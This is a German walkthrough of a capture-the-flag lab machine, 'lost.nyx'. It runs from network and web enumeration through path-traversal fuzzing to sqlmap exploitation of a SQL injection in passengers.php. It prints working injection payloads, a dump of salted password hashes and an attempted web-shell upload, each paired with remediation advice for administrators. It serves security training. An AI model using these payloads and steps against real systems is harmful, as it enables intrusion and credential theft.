**Analyse:** Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerksegment mit `arp-scan -l`.
**Bewertung:** Ein Host antwortet auf `192.168.2.122` mit der MAC-Adresse `08:00:27:55:7d:e5`. Die MAC-Adresse gehört zu PCS Systemtechnik GmbH, was wieder auf eine VirtualBox-Umgebung schließen lässt. Das Ziel ist identifiziert.
**Empfehlung (Pentester):** `192.168.2.122` als Ziel für weitere Scans verwenden.
**Empfehlung (Admin):** Standard-Netzwerk-Discovery. Sicherstellen, dass nur autorisierte Geräte aktiv sind.
192.168.2.122 08:00:27:55:7d:e5 PCS Systemtechnik GmbH
**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.122` den Hostnamen `lost.nyx` zuzuordnen.
**Bewertung:** Sinnvolle Maßnahme zur Vereinfachung und zur Berücksichtigung potenzieller virtueller Hosts.
**Empfehlung (Pentester):** Bei Web-Scans sowohl IP als auch Hostnamen verwenden.
**Empfehlung (Admin):** Lokale Änderung auf Angreiferseite, keine Aktion nötig.
127.0.0.1 localhost
192.168.2.122 lost.nyx
**Analyse:** Ein umfassender TCP-Portscan (`-sS -sC -sV -A -p-`) wird gegen die Ziel-IP durchgeführt, gefolgt von einer gefilterten Version (`egrep "open"`), um schnell die offenen Ports zu sehen.
**Bewertung:** Der Scan identifiziert zwei offene TCP-Ports: * 22/tcp (ssh): Läuft OpenSSH 9.2p1 (Debian 12). Eine relativ aktuelle Version. * 80/tcp (http): Läuft Apache httpd 2.4.57 (Debian). Eine aktuelle Version. Die vollständige Ausgabe bestätigt diese Ports und liefert Host-Keys für SSH sowie den Titel "lost.nyx" und den Server-Header für HTTP. Die OS-Erkennung deutet auf Linux (Kernel 4.x/5.x) hin.
**Empfehlung (Pentester):** Die Angriffsfläche ist auf SSH und HTTP beschränkt. Da die Versionen relativ aktuell sind, liegt der Fokus wahrscheinlich auf Konfigurationsfehlern oder Schwachstellen in der Webanwendung. Den Webserver auf Port 80 genauer untersuchen. SSH auf mögliche schwache Passwörter oder Key-basierte Angriffe prüfen (später relevant).
**Empfehlung (Admin):** Sicherstellen, dass SSH sicher konfiguriert ist (idealerweise Key-Authentifizierung, Fail2Ban). Den Webserver und die darauf laufende Anwendung aktuell und sicher halten.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 11:36 CEST Nmap scan report for lost.nyx (192.168.2.122) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA) |_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: lost.nyx |_http-server-header: Apache/2.4.57 (Debian) MAC Address: 08:00:27:55:7D:E5 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms lost.nyx (192.168.2.122) Nmap done: 1 IP address (1 host up) scanned in 15.36 seconds
22/tcp open ssh OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian))
**Analyse:** Ein UDP-Scan (`-sU`) auf die Top 15 UDP-Ports wird durchgeführt (`--top-ports="15"`). Die Option `--open` soll nur offene oder potenziell offene Ports anzeigen.
**Bewertung:** Nmap listet mehrere Ports als `open|filtered` auf (DHCP Client, Microsoft RPC/DS, ISAKMP, MS SQL). Dieser Status bedeutet, dass Nmap keine Antwort erhielt, was bei UDP häufig vorkommt und entweder darauf hindeutet, dass der Port geschlossen ist oder eine Firewall die Antwort blockiert. Es gibt keine definitive Bestätigung für offene UDP-Dienste.
**Empfehlung (Pentester):** UDP als Angriffsvektor weiterhin als unwahrscheinlich betrachten und sich auf TCP 22 und 80 konzentrieren.
**Empfehlung (Admin):** Sicherstellen, dass keine unnötigen UDP-Dienste laufen und Firewalls UDP-Traffic gemäß Richtlinien filtern.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 11:40 CEST Nmap scan report for lost.nyx (192.168.2.122) Host is up (0.00012s latency). Not shown: 10 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc 135/udp open|filtered msrpc 445/udp open|filtered microsoft-ds 500/udp open|filtered isakmp 1434/udp open|filtered ms-sql-m Nmap done: 1 IP address (1 host up) scanned in 3.22 seconds
**Analyse:** `dirb` wird verwendet, um nach gängigen Verzeichnissen auf dem Webserver (Port 80) zu suchen.
**Bewertung:** Dirb findet `/index.html` (Status 200), sowie die Verzeichnisse `/assets/` und `/javascript/`. Dies deutet auf eine Standard-Webseitenstruktur hin.
**Empfehlung (Pentester):** Die gefundenen Verzeichnisse auf interessante Inhalte prüfen. Die `index.html` analysieren. Weitere Scans (z.B. mit Gobuster und größeren Wortlisten) durchführen und nach virtuellen Hosts suchen.
**Empfehlung (Admin):** Sicherstellen, dass keine sensiblen Informationen in den `/assets`- oder `/javascript`-Verzeichnissen liegen. Directory Listing sollte deaktiviert sein.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Mon Aug 26 11:37:24 2024 URL_BASE: http://192.168.2.122/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.2.122/ ---- > DIRECTORY: http://192.168.2.122/assets/ + http://192.168.2.122/index.html (CODE:200|SIZE:819) > DIRECTORY: http://192.168.2.122/javascript/ ----------------- END_TIME: Mon Aug 26 11:37:35 2024 DOWNLOADED: 4612 - FOUND: 2
**Analyse:** Nikto scannt den Webserver auf bekannte Schwachstellen und Konfigurationsprobleme.
**Bewertung:** Nikto bestätigt Apache/2.4.57. Es meldet die üblichen fehlenden Header (`X-Frame-Options`, `X-Content-Type-Options`) und das ETag-Inode-Leak (geringes Risiko). Es werden keine veralteten Komponenten oder kritischen Schwachstellen direkt gemeldet.
**Empfehlung (Pentester):** Die Header-Probleme zur Kenntnis nehmen. Da Nikto keine offensichtlichen Schwachstellen findet, sind manuelle Analyse und tiefere Scans (vHosts, Parameter) erforderlich.
**Empfehlung (Admin):** Die fehlenden Security-Header hinzufügen. Das ETag-Verhalten überprüfen und ggf. anpassen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 80 + Start Time: 2024-08-26 11:36:44 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 333, size: 611e266fac6a3, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + 8102 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-08-26 11:36:55 (GMT2) (11 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Gobuster wird verwendet, um mit einer größeren Wortliste und spezifischen Dateiendungen nach weiteren Inhalten auf `http://lost.nyx` zu suchen.
**Bewertung:** Gobuster bestätigt die Ergebnisse von `dirb`: `index.html`, `/assets`, `/javascript`. Keine neuen Funde auf diesem Hostnamen.
**Empfehlung (Pentester):** Da die Scans auf dem initialen Hostnamen `lost.nyx` keine weiteren Angriffsvektoren ergeben, ist die Suche nach virtuellen Hosts der nächste logische Schritt.
**Empfehlung (Admin):** Keine direkten Maßnahmen erforderlich, außer der allgemeinen Absicherung des Webservers.
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://lost.nyx [...] =============================================================== 2024/08/26 11:42:15 Starting gobuster in directory enumeration mode =============================================================== http://lost.nyx/index.html (Status: 200) [Size: 819] http://lost.nyx/assets (Status: 301) [Size: 305] [--> http://lost.nyx/assets/] http://lost.nyx/javascript (Status: 301) [Size: 309] [--> http://lost.nyx/javascript/] =============================================================== 2024/08/26 11:44:58 Finished ===============================================================
**Analyse:** `wfuzz` wird zur Subdomain/vHost-Enumeration verwendet. Es iteriert durch eine Wortliste (`subdomains-top1million-110000.txt`) und setzt jedes Wort als Subdomain in den Host-Header (`-H "Host: FUZZ.lost.nyx"`). Antworten mit Status 404 oder einer Größe von 819 Chars (Größe der `index.html` von `lost.nyx`) werden ignoriert.
**Bewertung:** Erfolg! `wfuzz` findet die Subdomain `dev`. Die Antwort für `dev.lost.nyx` hat einen Status 200 und eine Größe von 9936 Chars, was sich von der Hauptseite unterscheidet. Dies deutet auf einen separaten virtuellen Host für Entwicklungszwecke hin.
**Empfehlung (Pentester):** Den neuen Hostnamen `dev.lost.nyx` zur lokalen `/etc/hosts`-Datei hinzufügen und diesen vHost gezielt untersuchen. Entwicklungs- oder Testumgebungen sind oft weniger sicher als Produktionsumgebungen.
**Empfehlung (Admin):** Entwicklungs-vHosts sollten nicht öffentlich erreichbar sein. Den Zugriff auf `dev.lost.nyx` auf interne IPs oder VPNs beschränken oder eine Authentifizierung vorschalten.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://lost.nyx/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 294 L 645 W 9936 Ch "dev"
Total time: 105.1234s
Processed Requests: 114441
Filtered Requests: 114440
Requests/sec.: 1088.634
**Analyse:** Der gefundene vHost `dev.lost.nyx` wird zur lokalen `/etc/hosts`-Datei hinzugefügt.
**Bewertung:** Notwendiger Schritt, um den neuen vHost ansprechen zu können.
**Empfehlung (Pentester):** Nun den vHost `http://dev.lost.nyx` untersuchen.
**Empfehlung (Admin):** Keine Aktion erforderlich.
127.0.0.1 localhost
192.168.2.122 lost.nyx dev.lost.nyx
**Analyse:** Die Ausgabe eines Verzeichnis-Scanners (vermutlich `gobuster` oder `dirbuster`, das Tool wird nicht gezeigt) für den neuen vHost `http://dev.lost.nyx` wird dargestellt.
**Bewertung:** Dieser Scan liefert deutlich mehr Ergebnisse als auf `lost.nyx`: * Statische HTML-Seiten: `index.html`, `about.html`, `team.html`. * Standardverzeichnisse: `/assets`, `/javascript`, `/vendor`. * Eine PHP-Datei: `/passengers.php`. PHP-Dateien sind immer interessant, da sie serverseitige Logik enthalten. Der Fund `/passengers.php` ist der vielversprechendste Ansatzpunkt.
**Empfehlung (Pentester):** Die Datei `http://dev.lost.nyx/passengers.php` im Browser aufrufen und auf Funktionalität, Parameter und mögliche Schwachstellen untersuchen.
**Empfehlung (Admin):** Die Anwendung unter `dev.lost.nyx`, insbesondere `passengers.php`, auf Sicherheit überprüfen. Den Zugriff auf diesen vHost einschränken.
dirbuster: http://dev.lost.nyx/index.html (Status: 200) [Size: 9936] http://dev.lost.nyx/about.html (Status: 200) [Size: 6252] http://dev.lost.nyx/assets (Status: 301) [Size: 313] [--> http://dev.lost.nyx/assets/] http://dev.lost.nyx/team.html (Status: 200) [Size: 7715] http://dev.lost.nyx/javascript (Status: 301) [Size: 317] [--> http://dev.lost.nyx/javascript/] http://dev.lost.nyx/vendor (Status: 301) [Size: 313] [--> http://dev.lost.nyx/vendor/] http://dev.lost.nyx/passengers.php (Status: 200) [Size: 4734] <-- Interessant!
**Analyse:** Die Seite `http://dev.lost.nyx/passengers.php` wird untersucht. Die HTTP-Header der Antwort werden betrachtet.
**Bewertung:** Die Header zeigen `Server: Apache/2.4.57 (Debian)` und `X-Powered-By: PHP/8.2.7`. Die PHP-Version ist relativ aktuell.
**Empfehlung (Pentester):** Die Seite `passengers.php` auf Eingabeparameter untersuchen. Mit Tools wie `wfuzz` oder Burp Intruder nach versteckten Parametern oder anfälligen Parametern suchen.
**Empfehlung (Admin):** Den `X-Powered-By`-Header aus Performance- und Sicherheitsgründen in der `php.ini` deaktivieren (`expose_php = Off`).
view: http://dev.lost.nyx/passengers.php
Server Apache/2.4.57 (Debian)
Vary Accept-Encoding
X-Powered-By PHP/8.2.7
**Analyse:** `wfuzz` wird verwendet, um nach GET-Parametern für `passengers.php` zu fuzzeln, die möglicherweise eine Local File Inclusion (LFI)-Schwachstelle aufweisen. * `-w /usr/share/seclists/.../directory-list-2.3-medium.txt`: Eine Wortliste wird als Quelle für Parameternamen verwendet (ungewöhnlich, normalerweise nimmt man eine Parameterliste, aber vielleicht wird auf Dateinamen als Parameter gehofft). * `-u "http://dev.lost.nyx/passengers.php?FUZZ=../../../../../../etc/passwd"`: `FUZZ` wird durch Wörter aus der Liste ersetzt. Der Wert des Parameters wird auf einen LFI-Payload gesetzt, der versucht, `/etc/passwd` zu lesen. * `--hc 404`: Ignoriert 404-Fehler. * `--hh 4734`: Ignoriert Antworten mit der gleichen Größe wie die normale `passengers.php`-Seite.
**Bewertung:** Erfolg! `wfuzz` findet heraus, dass der Parameter `id` existiert und anfällig für LFI ist. Wenn `?id=../../../../../../etc/passwd` angehängt wird, ändert sich die Antwortgröße (Chars: 3261 statt 4734), was darauf hindeutet, dass der Inhalt von `/etc/passwd` erfolgreich eingebunden oder verarbeitet wurde.
**Empfehlung (Pentester):** Die LFI mit `?id=` bestätigen, indem der Payload im Browser oder mit `curl` gesendet wird. Versuchen, weitere Dateien zu lesen (`/etc/shadow` - unwahrscheinlich, PHP-Quellcode wie `/var/www/lost/passengers.php`, Konfigurationsdateien, Logdateien). Prüfen, ob die LFI zu RCE erweitert werden kann (z.B. via `php://filter`, Log Poisoning, `/proc/self/fd/...`). Da die LFI bestätigt ist, ist der nächste Schritt SQL Injection, da der Fehlertext dies später nahelegt.
**Empfehlung (Admin):** Die LFI-Schwachstelle im `id`-Parameter von `passengers.php` sofort beheben! Benutzereingaben niemals ungefiltert in Dateipfade oder `include`/`require`-Anweisungen einbauen. Pfad-Traversal-Angriffe verhindern.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://dev.lost.nyx/passengers.php?FUZZ=../../../../../../etc/passwd
Total requests: 220607
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000576: 200 82 L 207 W 3261 Ch "id"
Total time: 224.4833s
Processed Requests: 220607
Filtered Requests: 220606
Requests/sec.: 982.7319
**Analyse:** Basierend auf dem `wfuzz`-Fund wird versucht, die LFI mit `id` zu bestätigen und gleichzeitig eine SQL-Injection zu provozieren. Zuerst wird die LFI-URL aufgerufen, dann eine URL mit einem einfachen Anführungszeichen (`id=%22`), um einen SQL-Fehler auszulösen.
**Bewertung:** Der Aufruf mit `id=../../../../../../etc/passwd` zeigt keinen Fehler, aber die Änderung der Seitengröße im `wfuzz`-Scan deutete bereits auf LFI hin. Der Aufruf mit `id=%22` löst einen `mysqli_sql_exception`-Fehler aus. Die Fehlermeldung ist sehr aufschlussreich: * Sie bestätigt eine SQL-Injection-Schwachstelle im `id`-Parameter. * Sie zeigt die betroffene SQL-Query (beginnend mit `SELECT first_na...` nahe `../../../../../../etc/passwd`). Der LFI-Payload wurde fälschlicherweise in die SQL-Query eingefügt. * Sie enthüllt den absoluten Pfad zur Datei auf dem Server: `/var/www/lost/passengers.php`. * Sie zeigt, dass MariaDB (ein MySQL-Fork) als Datenbank verwendet wird.
**Empfehlung (Pentester):** Die SQL-Injection-Schwachstelle mit `sqlmap` oder manuell ausnutzen. Ziel ist es, Datenbanken, Tabellen, Benutzer und insbesondere Passwörter oder Hashes auszulesen. Die LFI kann parallel weiter untersucht werden, um z.B. den PHP-Quellcode oder Datenbank-Konfigurationsdateien zu finden.
**Empfehlung (Admin):** Die SQL-Injection-Schwachstelle in `passengers.php` sofort beheben! Parametrisierte Abfragen (Prepared Statements) verwenden, um SQL-Injection zu verhindern. Benutzereingaben niemals direkt in SQL-Queries einbauen. Fehlermeldungen in Produktionsumgebungen unterdrücken, um keine internen Details preiszugeben.
http://dev.lost.nyx/passengers.php?id=../../../../../../etc/passwd http://dev.lost.nyx/passengers.php?id=%22 Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '../../../../../../etc/passwd' at line 1 in /var/www/lost/passengers.php:98 Stack trace: #0 /var/www/lost/passengers.php(98): mysqli_query(Object(mysqli), 'SELECT first_na...') #1 {main} thrown in /var/www/lost/passengers.php on line 98
**Analyse:** `sqlmap` wird verwendet, um die SQL-Injection-Schwachstelle automatisch auszunutzen. * `-r /home/ccat/Downloads/sql.sql`: Lädt die HTTP-Anfrage aus einer Datei (vermutlich mit Burp gespeichert), die den anfälligen `id`-Parameter enthält. * `--dbs`: Versucht, die Namen aller Datenbanken aufzulisten. * `--batch`: Führt sqlmap ohne interaktive Nachfragen aus (Standardantworten werden verwendet). * `--level 3 --risk 3`: Erhöht die Intensität der Tests (mehr Payloads, höhere Risikobereitschaft).
**Bewertung:** `sqlmap` bestätigt die Schwachstelle (boolean-based blind, error-based, time-based blind, UNION query) im `id`-Parameter. Es identifiziert das Backend als MySQL >= 5.0 (MariaDB fork) auf Linux Debian mit PHP 8.2.7 und Apache 2.4.57. Es listet erfolgreich die verfügbaren Datenbanken auf: `information_schema`, `lost`, `mysql`, `performance_schema`, `sys`. Die Datenbank `lost` ist das wahrscheinlichste Ziel.
**Empfehlung (Pentester):** Den nächsten `sqlmap`-Lauf starten, um die Tabellen innerhalb der Datenbank `lost` aufzulisten (`-D lost --tables`).
**Empfehlung (Admin):** SQL-Injection beheben.
___
__H__
___ ___[,]_____ ___ ___ {1.8.7#stable}
|_ -| . [,]] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[...]
[11:58:08] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N <-- Batch mode answered N
sqlmap identified the following injection point(s) with a total of 429 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id="" OR NOT 9287=9287#
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id="" OR (SELECT 5831 FROM(SELECT COUNT(*),CONCAT(0x7178716271,(SELECT (ELT(5831=5831,1))),0x716b707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- MSJG
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id="" AND (SELECT 7634 FROM (SELECT(SLEEP(5)))Nliu)-- vLak
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id="" UNION ALL SELECT NULL,CONCAT(0x7178716271,0x6643427050474f4b714377766569764a7074706c486e58594b6e4169555051677766587151705578,0x716b707671),NULL,NULL#
---
[11:58:08] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.7, Apache 2.4.57
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[11:58:08] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] lost
[*] mysql
[*] performance_schema
[*] sys
[11:58:08] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/dev.lost.nyx'
[*] ending @ 11:58:08 /2024-08-26/
**Analyse:** `sqlmap` wird erneut ausgeführt, diesmal mit der Option `-D lost --tables`, um die Tabellen in der Datenbank `lost` aufzulisten.
**Bewertung:** `sqlmap` findet zwei Tabellen in der Datenbank `lost`: `passengers` und `users`. Die Tabelle `users` ist das primäre Ziel, da sie wahrscheinlich Anmeldeinformationen enthält.
**Empfehlung (Pentester):** Den Inhalt der Tabelle `users` mit `sqlmap` auslesen (`-D lost -T users --dump`).
**Empfehlung (Admin):** SQL-Injection beheben.
[...]
[11:59:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.7, Apache 2.4.57
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[11:59:26] [INFO] fetching tables for database: 'lost'
Database: lost
[2 tables]
+------------+
| passengers |
| users |
+------------+
[11:59:26] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/dev.lost.nyx'
[*] ending @ 11:59:26 /2024-08-26/
**Analyse:** Der UNION-Injection-Payload, den `sqlmap` identifiziert hat, wird manuell im Browser oder mit einem Tool aufgerufen, um die Funktionsweise zu demonstrieren.
**Bewertung:** Die Seite zeigt nun nicht mehr die normale Passagierliste, sondern nur noch den statischen String `qxqbqfCBpPGKqCwveivJptplHnXYKnAiUPQgwfXqQpUxqkpvq`, der im `CONCAT()`-Teil des Payloads enthalten ist. Dies bestätigt visuell, dass die UNION-Injection funktioniert und Daten injiziert werden können.
**Empfehlung (Pentester):** `sqlmap` die Arbeit machen lassen, um die Daten effizient zu extrahieren, aber das Verständnis der manuellen Ausnutzung ist wertvoll.
**Empfehlung (Admin):** SQL-Injection beheben.
http://dev.lost.nyx/passengers.php?id=%22%22%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x7178716271,0x6643427050474f4b714377766569764a7074706c486e58594b6e4169555051677766587151705578,0x716b707671),NULL,NULL# Passengers List First Name Last Name Residence Profession qxqbqfCBpPGKqCwveivJptplHnXYKnAiUPQgwfXqQpUxqkpvq
**Analyse:** `sqlmap` wird nun verwendet, um den Inhalt der Tabelle `users` aus der Datenbank `lost` auszulesen (`-D lost -T users --dump`).
**Bewertung:** `sqlmap` liest erfolgreich 10 Einträge aus der Tabelle `users`. Die Tabelle enthält Spalten `id`, `salt`, `password` und `username`. Die Passwörter scheinen gehasht und gesalzen zu sein. `sqlmap` erkennt dies und fragt, ob die Hashes geknackt werden sollen. Der integrierte Wörterbuchangriff von `sqlmap` schlägt jedoch fehl (`no clear password(s) found`). Die Benutzernamen (jack, sawyer, hugo, kate, benjamin, sayd, jacob, claire, desmond, john) sind Namen von Charakteren aus der TV-Serie "Lost".
**Empfehlung (Pentester):** Die extrahierten Hashes und Salts speichern. Stärkere Cracking-Tools wie `hashcat` oder `john` mit größeren Wortlisten oder Regel-basierten Angriffen verwenden. Die Benutzernamen könnten Hinweise auf mögliche Passwörter geben (z.B. Variationen der Namen). Versuchen, sich mit einem der Benutzernamen und einem erratenen Passwort via SSH anzumelden.
**Empfehlung (Admin):** SQL-Injection beheben. Starke Hashing-Algorithmen (wie bcrypt, scrypt, Argon2) mit benutzerindividuellen Salts verwenden. Starke Passwortrichtlinien durchsetzen.
[...] [12:01:06] [INFO] the back-end DBMS is MySQL [...] [12:01:06] [INFO] fetching columns for table 'users' in database 'lost' [12:01:06] [INFO] fetching entries for table 'users' in database 'lost' [12:01:06] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N do you want to crack them via a dictionary-based attack? [Y/n/q] Y <-- Batch mode answered Y [12:01:06] [INFO] using hash method 'sha256_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 <-- Batch mode chose 1 [12:01:06] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] N [12:01:06] [INFO] starting dictionary-based cracking (sha256_generic_passwd) [12:01:06] [INFO] starting 16 processes [12:01:10] [WARNING] no clear password(s) found Database: lost Table: users [10 entries] +----+--------------------------------------+------------------------------------------------------------------+----------+ | id | salt | password | username | +----+--------------------------------------+------------------------------------------------------------------+----------+ | 1 | 21dcd7a1-cc0f-11ee-88ad-c6d3ce8f613a | 11389898872781d162347916c42ce996eddd106227a55ed820d9b2d8779afeb8 | jack | | 2 | 21dcda3d-cc0f-11ee-88ad-c6d3ce8f613a | c31a0329a22c74f36895d20c602fc9235277bc5cf3eb340b3c83f06a5f9e3ec2 | sawyer | | 3 | 21dcdaa1-cc0f-11ee-88ad-c6d3ce8f613a | f5adc6bb3ca2f643ab480189f9be95fdbb388f91a72efbe00bf15e9acbce12a5 | hugo | | 4 | 21dcdab9-cc0f-11ee-88ad-c6d3ce8f613a | 15e00c30344346cc2eaf8db69a26b52725f66cf679d89e5bbc550fa2daa3daa0 | kate | | 5 | 21dcdad0-cc0f-11ee-88ad-c6d3ce8f613a | fba8173e097cd7d7fc21b5ba51f141aceb7d3175187833cf885f1a9b55105d65 | benjamin | | 6 | 21dcdae6-cc0f-11ee-88ad-c6d3ce8f613a | 257640cfdf009d58f51cf5f9639961e0f7919122102e00da44ec813b2812c1e8 | sayd | | 7 | 21dcdafc-cc0f-11ee-88ad-c6d3ce8f613a | cbc27bcf23e7c1de300290f7cad2c53288d49f9e0abaa9bdaf23bf013d38f473 | jacob | | 8 | 21dcdb0f-cc0f-11ee-88ad-c6d3ce8f613a | 981c0ce3c15f43574fd091a11ca681156c5efff6d0ff591dbf50a8cf7020f319 | claire | | 9 | 21dcdb26-cc0f-11ee-88ad-c6d3ce8f613a | 549499d0ec3d5c13a7c2706e10fd46fd9bb4c372827d4802998f4cbd9cdf37c3 | desmond | | 10 | 21dcdb39-cc0f-11ee-88ad-c6d3ce8f613a | a6552547aa662097571391ff4a5eb0f944a290973df7ee6347c78e5a74f70d0a | john | +----+--------------------------------------+------------------------------------------------------------------+----------+ [12:01:10] [INFO] table 'lost.users' dumped to CSV file '/root/.local/share/sqlmap/output/dev.lost.nyx/dump/lost/users.csv' [...] [*] ending @ 12:01:10 /2024-08-26/
**Analyse:** `sqlmap` wird mit der Option `--os-shell` ausgeführt, um zu versuchen, eine interaktive Betriebssystem-Shell über die SQL-Injection-Schwachstelle zu erlangen. Sqlmap versucht hierfür, einen Web-Backdoor (Stager) auf das Zielsystem hochzuladen.
**Bewertung:** Der Versuch scheitert. `sqlmap` kann den Stager weder in `/var/www/` noch in `/var/www/lost/` hochladen (`unable to upload the file stager`). Dies liegt wahrscheinlich daran, dass der Datenbankbenutzer (mit dem der Webserver auf die DB zugreift) keine Schreibrechte in diesen Verzeichnissen hat.
**Empfehlung (Pentester):** Der `--os-shell`-Ansatz funktioniert hier nicht. Der Fokus muss auf dem Knacken der extrahierten Passwort-Hashes oder der Suche nach alternativen Wegen liegen.
**Empfehlung (Admin):** SQL-Injection beheben. Sicherstellen, dass der Datenbankbenutzer nur die minimal notwendigen Berechtigungen hat (keine Schreibrechte auf Dateisystemebene, kein `FILE`-Privileg).
[...] [12:03:21] [INFO] the back-end DBMS is MySQL [...] [12:03:21] [INFO] going to use a web backdoor for command prompt [...] [12:03:25] [INFO] retrieved the web server document root: '/var/www' [...] [12:03:25] [INF] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method [12:03:25] [WARNING] potential permission problems detected ('Permission denied') [12:03:25] [WARNING] unable to upload the file stager on '/var/www/' [12:03:25] [INF] trying to upload the file stager on '/var/www/' via UNION method [...] [12:03:26] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path) [12:03:26] [INF] trying to upload the file stager on '/var/www/lost/' via LIMIT 'LINES TERMINATED BY' method [12:03:26] [WARNING] unable to upload the file stager on '/var/www/lost/' [12:03:26] [INF] trying to upload the file stager on '/var/www/lost/' via UNION method [12:03:26] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path) [...] [*] ending @ 12:03:26 /2024-08-26/
**Analyse:** Die extrahierten Hashes werden bei einem Online-Dienst (Crackstation) überprüft. Anschließend wird `hash-identifier` verwendet, um den Typ des letzten Hashes (für Benutzer `john`) genauer zu bestimmen. Schließlich wird `john --list=formats` ausgeführt, um die von John unterstützten Formate anzuzeigen, und gefiltert nach "SHA".
**Bewertung:** Crackstation findet keine der Hashes. `hash-identifier` identifiziert den Hash von `john` korrekt als SHA-256 oder Haval-256. Die Auflistung der John-Formate bestätigt, dass John verschiedene SHA-Varianten unterstützt, einschließlich PBKDF2-HMAC-SHA256 und Raw-SHA256. Der Hinweis auf Salt in der `sqlmap`-Ausgabe und die Struktur legen einen gesalzenen SHA256-Hash nahe, der aber für Standard-Tools schwer zu knacken ist, wenn der Salt nicht im Standardformat vorliegt oder das Passwort stark ist.
**Empfehlung (Pentester):** Da Online-Dienste und der `sqlmap`-interne Cracker scheitern, einen Offline-Angriff mit `hashcat` versuchen. Das Format muss korrekt angegeben werden (z.B. `hash:salt` oder ein spezifischer Modus für das verwendete Framework, falls bekannt). Da dies hier nicht erfolgreich zu sein scheint (siehe nächster Schritt), alternative Wege suchen.
**Empfehlung (Admin):** Verwendung starker Hashing-Algorithmen und langer, komplexer Passwörter macht das Knacken schwierig, was gut ist.
